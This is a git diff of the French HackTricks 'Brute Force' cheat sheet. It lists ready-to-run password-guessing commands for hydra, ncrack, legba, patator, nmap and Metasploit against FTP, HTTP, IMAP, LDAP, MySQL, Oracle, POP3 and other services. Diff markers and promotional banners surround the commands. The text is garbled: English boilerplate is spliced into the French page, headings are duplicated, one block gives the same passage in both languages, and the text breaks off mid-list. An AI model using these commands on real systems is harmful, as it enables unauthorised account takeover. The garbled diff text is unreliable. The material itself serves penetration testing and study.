* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,10 +1,10 @@
|
||||||
# Brute Force - Fiche de triche
|
# Brute Force - Fiche de triche
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui à :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -17,7 +17,7 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%%
|
||||||
```
|
```
|
||||||
### Cewl
|
### Cewl
|
||||||
|
|
||||||
Cewl est un outil qui extrait les mots d'un site Web pour générer une liste de mots potentiels pour une attaque de force brute.
|
Cewl est un outil qui extrait les mots d'un site Web pour générer des listes de mots potentiellement utiles pour une attaque de force brute.
|
||||||
```bash
|
```bash
|
||||||
cewl example.com -m 5 -w words.txt
|
cewl example.com -m 5 -w words.txt
|
||||||
```
|
```
|
||||||
|
@ -102,7 +102,7 @@ Finished in 0.920s.
|
||||||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -141,33 +141,12 @@ Les attaques par force brute contre le protocole AJP peuvent être effectuées
|
||||||
nmap --script ajp-brute -p 8009 <IP>
|
nmap --script ajp-brute -p 8009 <IP>
|
||||||
```
|
```
|
||||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
||||||
|
|
||||||
### Brute Force
|
|
||||||
|
|
||||||
Brute force attacks against AMQP servers are relatively straightforward. The attacker simply tries all possible username and password combinations until a valid one is found. This can be done using tools like Hydra or custom scripts.
|
|
||||||
|
|
||||||
### Protection
|
|
||||||
|
|
||||||
To protect against brute force attacks, it is recommended to:
|
|
||||||
- Use strong and complex passwords
|
|
||||||
- Implement account lockout mechanisms after a certain number of failed login attempts
|
|
||||||
- Monitor login attempts for suspicious activity
|
|
||||||
- Limit the number of login attempts allowed
|
|
||||||
- Implement multi-factor authentication for an added layer of security
|
|
||||||
|
|
||||||
### Example
|
|
||||||
|
|
||||||
An example of a brute force attack against an AMQP server using Hydra:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
hydra -L users.txt -P passwords.txt amqp://target-ip
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||||
```
|
```
|
||||||
### Cassandra
|
### Cassandra
|
||||||
|
|
||||||
Cassandra est une base de données NoSQL distribuée conçue pour gérer de grandes quantités de données réparties sur de nombreux serveurs sans point de défaillance unique. Les attaques de force brute contre Cassandra peuvent être effectuées en essayant de deviner les identifiants d'authentification, tels que les noms d'utilisateur et les mots de passe, en utilisant des listes de mots courants ou des attaques par dictionnaire. Il est essentiel de mettre en œuvre des mesures de sécurité telles que des politiques de mot de passe robustes et des mécanismes de verrouillage de compte pour protéger Cassandra contre de telles attaques.
|
Cassandra est un système de gestion de base de données distribuée conçu pour gérer de grandes quantités de données réparties sur de nombreux serveurs sans point de défaillance unique. Il est possible de mener des attaques de force brute contre Cassandra en essayant de deviner les identifiants d'authentification ou en essayant de casser les mots de passe des utilisateurs.
|
||||||
```bash
|
```bash
|
||||||
nmap --script cassandra-brute -p 9160 <IP>
|
nmap --script cassandra-brute -p 9160 <IP>
|
||||||
# legba ScyllaDB / Apache Casandra
|
# legba ScyllaDB / Apache Casandra
|
||||||
|
@ -177,7 +156,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute force attacks against CouchDB typically involve trying to guess the password for the `admin` user account. This can be done using tools like Hydra or by writing custom scripts. It's important to note that brute forcing passwords is illegal and unethical without proper authorization.
|
Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. These attacks can be automated using tools like Hydra or Medusa. It is important to use strong and unique passwords to protect against brute force attacks.
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||||
|
@ -188,13 +167,36 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
|
||||||
```
|
```
|
||||||
### Elasticsearch
|
### Elasticsearch
|
||||||
|
|
||||||
### Elasticsearch
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks are a common way to gain unauthorized access to Elasticsearch clusters. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is effective against weak or default credentials.
|
||||||
|
|
||||||
|
#### Protection
|
||||||
|
|
||||||
|
To protect against brute force attacks, it is recommended to:
|
||||||
|
|
||||||
|
- Use strong and unique passwords for all Elasticsearch users.
|
||||||
|
- Implement account lockout policies to prevent multiple failed login attempts.
|
||||||
|
- Monitor Elasticsearch logs for any suspicious login activities.
|
||||||
|
- Consider using multi-factor authentication for an added layer of security.
|
||||||
|
|
||||||
|
By following these protection measures, you can significantly reduce the risk of unauthorized access to your Elasticsearch clusters.
|
||||||
```
|
```
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||||
```
|
```
|
||||||
### FTP
|
### FTP
|
||||||
|
|
||||||
### FTP
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks against FTP servers involve attempting to log in to an FTP server by systematically trying all possible passwords until the correct one is found. This method is typically used when other methods of gaining access to the server have failed.
|
||||||
|
|
||||||
|
#### Dictionary Attack
|
||||||
|
|
||||||
|
A dictionary attack is a type of brute force attack that uses a predefined list of words as potential passwords. This list can be a combination of common passwords, dictionary words, or any other set of words that the attacker believes may be used as passwords.
|
||||||
|
|
||||||
|
#### Tools
|
||||||
|
|
||||||
|
There are several tools available for conducting brute force and dictionary attacks against FTP servers, such as Hydra, Medusa, and Ncrack. These tools automate the process of trying multiple passwords, making it easier and faster for attackers to gain unauthorized access to FTP servers.
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||||
|
@ -205,7 +207,7 @@ legba ftp --username admin --password wordlists/passwords.txt --target localhost
|
||||||
|
|
||||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||||
|
|
||||||
### Authentification de Base HTTP
|
### Authentification de base HTTP
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||||
# Use https-get mode for https
|
# Use https-get mode for https
|
||||||
|
@ -214,24 +216,27 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
|
||||||
```
|
```
|
||||||
### HTTP - NTLM
|
### HTTP - NTLM
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute force attacks against NTLM authentication can be performed using tools like Hydra or Medusa. These tools can be used to automate the process of trying different username and password combinations until the correct one is found.
|
Brute force attacks are a common way to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be effective but is also time-consuming and resource-intensive.
|
||||||
|
|
||||||
#### Example Command:
|
#### Dictionary Attacks
|
||||||
|
|
||||||
```bash
|
Dictionary attacks are similar to brute force attacks but instead of trying all possible combinations, they use a predefined list of commonly used passwords. This method is more efficient than brute force as it reduces the number of attempts needed to find the correct password.
|
||||||
hydra -l <username> -P <passwords_file> <target_ip> http-get / -m / -s <port>
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Resources:
|
#### Rainbow Tables
|
||||||
|
|
||||||
- [Hydra](https://github.com/vanhauser-thc/thc-hydra)
|
Rainbow tables are precomputed tables used in password cracking to reverse hash functions and discover passwords from their hash values. This method can significantly speed up the password cracking process by eliminating the need to hash each possible password during the attack.
|
||||||
- [Medusa](https://github.com/jmk-foofus/medusa)
|
|
||||||
|
|
||||||
#### Mitigation:
|
#### Credential Stuffing
|
||||||
|
|
||||||
To protect against brute force attacks, it is recommended to implement account lockout policies, use strong and complex passwords, and consider implementing multi-factor authentication.
|
Credential stuffing is a type of attack where attackers use usernames and passwords leaked from one service to gain unauthorized access to another service. This method relies on the fact that many users reuse the same credentials across multiple services.
|
||||||
|
|
||||||
|
#### Hydra
|
||||||
|
|
||||||
|
Hydra is a popular password-cracking tool that supports multiple protocols, including HTTP, SMB, FTP, and many others. It can perform brute force and dictionary attacks to crack passwords and gain unauthorized access to systems.
|
||||||
```bash
|
```bash
|
||||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
|
@ -240,18 +245,18 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This technique can be used to exploit weak authentication mechanisms in web applications.
|
Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This technique can be used to exploit weak authentication mechanisms in web applications that use HTTP POST forms to submit login credentials.
|
||||||
|
|
||||||
#### Protection
|
#### Protection Mechanisms
|
||||||
|
|
||||||
To protect against brute force attacks, you can implement the following measures:
|
To protect against brute force attacks on HTTP POST forms, web developers can implement the following security measures:
|
||||||
|
|
||||||
1. **Account Lockout**: Implement a mechanism that locks out an account after a certain number of failed login attempts.
|
1. **Account Lockout**: Implement a mechanism that locks user accounts after a certain number of failed login attempts to prevent further login attempts.
|
||||||
2. **CAPTCHA**: Use CAPTCHA challenges to differentiate between human users and automated scripts.
|
2. **CAPTCHA**: Integrate CAPTCHA challenges into the login process to differentiate between human users and automated scripts.
|
||||||
3. **Rate Limiting**: Limit the number of login attempts from a single IP address within a specific time frame.
|
3. **Rate Limiting**: Implement rate limiting to restrict the number of login attempts from a single IP address within a specific time frame.
|
||||||
4. **Strong Password Policy**: Enforce a strong password policy that includes requirements such as minimum length, complexity, and expiration.
|
4. **Strong Password Policy**: Enforce strong password policies, such as minimum length requirements and complexity rules, to make it harder for attackers to guess passwords.
|
||||||
|
|
||||||
By implementing these protection measures, you can significantly reduce the risk of a successful brute force attack on your system.
|
By implementing these protection mechanisms, web applications can significantly reduce the risk of unauthorized access through brute force attacks on HTTP POST forms.
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||||
# Use https-post-form mode for https
|
# Use https-post-form mode for https
|
||||||
|
@ -265,13 +270,7 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||||
```
|
```
|
||||||
### IMAP
|
### IMAP
|
||||||
|
|
||||||
---
|
### IMAP
|
||||||
|
|
||||||
Brute force attacks against IMAP are typically carried out using the `LOGIN` command. The attacker sends multiple login attempts using different username and password combinations until the correct one is found. This can be automated using tools like Hydra or Medusa.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
Les attaques par force brute contre IMAP sont généralement effectuées en utilisant la commande `LOGIN`. L'attaquant envoie plusieurs tentatives de connexion en utilisant différentes combinaisons de nom d'utilisateur et de mot de passe jusqu'à ce que la bonne soit trouvée. Cela peut être automatisé en utilisant des outils comme Hydra ou Medusa.
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||||
|
@ -280,17 +279,24 @@ legba imap --username user --password data/passwords.txt --target localhost:993
|
||||||
```
|
```
|
||||||
### IRC
|
### IRC
|
||||||
|
|
||||||
### IRC
|
#### Brute Force
|
||||||
|
|
||||||
### IRC
|
Brute force attacks on IRC servers are usually performed using automated scripts that try to guess usernames and passwords. These scripts can be easily found online and are relatively simple to use. Attackers can also use tools like Hydra or Medusa to automate the brute force process.
|
||||||
|
|
||||||
|
#### Protection
|
||||||
|
|
||||||
|
To protect an IRC server from brute force attacks, it is recommended to:
|
||||||
|
- Implement account lockout policies after a certain number of failed login attempts.
|
||||||
|
- Use strong and complex passwords.
|
||||||
|
- Monitor login attempts and look for any suspicious activity.
|
||||||
|
- Limit the number of login attempts from a single IP address.
|
||||||
|
- Keep the IRC server software up to date to patch any known vulnerabilities.
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
### ISCSI
|
### ISCSI
|
||||||
|
|
||||||
#### Brute Force
|
### ISCSI
|
||||||
|
|
||||||
Brute force attacks against iSCSI targets can be performed using tools like Hydra or Nmap. These tools can help in guessing the username and password combinations to gain unauthorized access to iSCSI targets. It is important to use strong and complex passwords to prevent successful brute force attacks.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||||
```
|
```
|
||||||
|
@ -321,36 +327,14 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
|
||||||
```
|
```
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and maintaining directory services over a network. It is commonly used for authentication and storing information about users, groups, and devices in a centralized directory.
|
LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and maintaining directory services over a network. It is commonly used for authentication and storing information about users, groups, and devices in a centralized directory. LDAP servers are often targeted for brute force attacks to gain unauthorized access to sensitive information.
|
||||||
|
|
||||||
### LDAP
|
|
||||||
|
|
||||||
LDAP (Lightweight Directory Access Protocol) est un protocole utilisé pour accéder et maintenir des services de répertoire sur un réseau. Il est couramment utilisé pour l'authentification et le stockage d'informations sur les utilisateurs, les groupes et les appareils dans un répertoire centralisé.
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script ldap-brute -p 389 <IP>
|
nmap --script ldap-brute -p 389 <IP>
|
||||||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||||||
```
|
```
|
||||||
### MQTT
|
### MQTT
|
||||||
|
|
||||||
#### Brute Force
|
### MQTT
|
||||||
|
|
||||||
Brute force attacks against MQTT brokers involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This can be achieved using tools like Hydra or custom scripts.
|
|
||||||
|
|
||||||
#### Mitigation
|
|
||||||
|
|
||||||
To protect against brute force attacks on MQTT brokers, consider implementing the following measures:
|
|
||||||
|
|
||||||
1. **Strong Credentials**: Use complex and unique usernames and passwords to make it harder for attackers to guess.
|
|
||||||
|
|
||||||
2. **Account Lockout**: Implement account lockout mechanisms to temporarily lock out users after a certain number of failed login attempts.
|
|
||||||
|
|
||||||
3. **Rate Limiting**: Enforce rate limiting to restrict the number of login attempts within a specific time frame.
|
|
||||||
|
|
||||||
4. **Monitoring**: Monitor MQTT broker logs for any unusual login activities and investigate any suspicious behavior.
|
|
||||||
|
|
||||||
5. **Two-Factor Authentication**: Implement two-factor authentication to add an extra layer of security to the authentication process.
|
|
||||||
|
|
||||||
By implementing these measures, you can enhance the security of your MQTT broker and protect it against brute force attacks.
|
|
||||||
```
|
```
|
||||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||||
|
@ -371,9 +355,7 @@ legba mssql --username SA --password wordlists/passwords.txt --target localhost:
|
||||||
```
|
```
|
||||||
### MySQL
|
### MySQL
|
||||||
|
|
||||||
#### Brute Force
|
### MySQL
|
||||||
|
|
||||||
Brute force attacks against MySQL databases can be carried out using tools like Hydra or SQLMap. These tools can help automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or other security measures if too many failed attempts are made.
|
|
||||||
```bash
|
```bash
|
||||||
# hydra
|
# hydra
|
||||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||||
|
@ -391,7 +373,18 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made. It is recommended to use strong and complex passwords to mitigate the risk of a successful brute force attack.
|
Brute force attacks are commonly used to crack passwords by systematically checking all possible combinations until the correct one is found. In the context of OracleSQL, brute force attacks can be used to guess usernames and passwords to gain unauthorized access to databases.
|
||||||
|
|
||||||
|
#### Prevention
|
||||||
|
|
||||||
|
To prevent brute force attacks in OracleSQL, it is recommended to:
|
||||||
|
- Implement account lockout policies after a certain number of failed login attempts.
|
||||||
|
- Use complex and unique passwords that are difficult to guess.
|
||||||
|
- Regularly monitor and review login attempts for any suspicious activity.
|
||||||
|
- Limit the number of login attempts allowed within a specific time frame.
|
||||||
|
- Implement multi-factor authentication for an added layer of security.
|
||||||
|
|
||||||
|
By following these prevention measures, you can significantly reduce the risk of falling victim to brute force attacks in OracleSQL.
|
||||||
```bash
|
```bash
|
||||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||||
|
|
||||||
|
@ -419,7 +412,7 @@ Pour utiliser **oracle\_login** avec **patator**, vous devez **installer**:
|
||||||
```bash
|
```bash
|
||||||
pip3 install cx_Oracle --upgrade
|
pip3 install cx_Oracle --upgrade
|
||||||
```
|
```
|
||||||
[Bruteforce de hachage OracleSQL hors ligne](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**):
|
[Bruteforce du hash OracleSQL hors ligne](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**) :
|
||||||
```bash
|
```bash
|
||||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||||
```
|
```
|
||||||
|
@ -427,25 +420,7 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
#### Brute Force
|
Brute forcing POP (Post Office Protocol) credentials involves attempting to log in to a POP server by systematically trying all possible combinations of usernames and passwords until the correct one is found. This can be achieved using tools like Hydra or Medusa, which are capable of automating the login process and trying thousands of combinations in a short amount of time. It is important to note that brute forcing is a time-consuming process and may trigger account lockouts or other security measures if done carelessly.
|
||||||
|
|
||||||
Brute force attacks are one of the simplest and most common types of attacks. The attacker tries every possible combination of usernames and passwords until the correct one is found. This method is time-consuming but effective, especially against weak passwords.
|
|
||||||
|
|
||||||
#### Dictionary Attack
|
|
||||||
|
|
||||||
A dictionary attack is similar to a brute force attack, but instead of trying every possible combination, it uses a predefined list of common passwords. This method is faster than a brute force attack and can be very effective if the target is using a common or weak password.
|
|
||||||
|
|
||||||
#### Rainbow Table Attack
|
|
||||||
|
|
||||||
A rainbow table attack is a precomputed table for reversing cryptographic hash functions, usually for cracking password hashes. This method can be very fast and efficient, especially against hashed passwords.
|
|
||||||
|
|
||||||
#### Credential Stuffing
|
|
||||||
|
|
||||||
Credential stuffing is the automated injection of breached username/password pairs to gain unauthorized access to user accounts. Attackers use automated tools to test large numbers of credentials against various websites and services to find valid login information.
|
|
||||||
|
|
||||||
#### Hydra
|
|
||||||
|
|
||||||
Hydra is a popular password-cracking tool that can perform rapid dictionary and brute-force attacks. It supports multiple protocols and can be used to crack passwords for various services and platforms.
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||||
|
@ -460,7 +435,21 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute force attacks against PostgreSQL databases can be carried out using tools like Hydra or Metasploit. These tools can attempt to log in to a PostgreSQL database by trying different combinations of usernames and passwords until a successful match is found. It is important to use strong and unique passwords to protect against brute force attacks.
|
Brute force attacks are a common method used to gain unauthorized access to a system. In the context of PostgreSQL, a brute force attack involves repeatedly trying different username and password combinations until the correct one is found. This can be done manually or using automated tools like Hydra or Medusa.
|
||||||
|
|
||||||
|
#### Protection
|
||||||
|
|
||||||
|
To protect against brute force attacks in PostgreSQL, you can take the following measures:
|
||||||
|
|
||||||
|
1. **Use Strong Passwords**: Ensure that you and your users use strong, complex passwords that are not easily guessable.
|
||||||
|
|
||||||
|
2. **Limit Login Attempts**: Implement mechanisms to limit the number of login attempts within a certain time frame. This can help prevent attackers from trying an unlimited number of password combinations.
|
||||||
|
|
||||||
|
3. **Enable Two-Factor Authentication**: Implement two-factor authentication to add an extra layer of security to the login process.
|
||||||
|
|
||||||
|
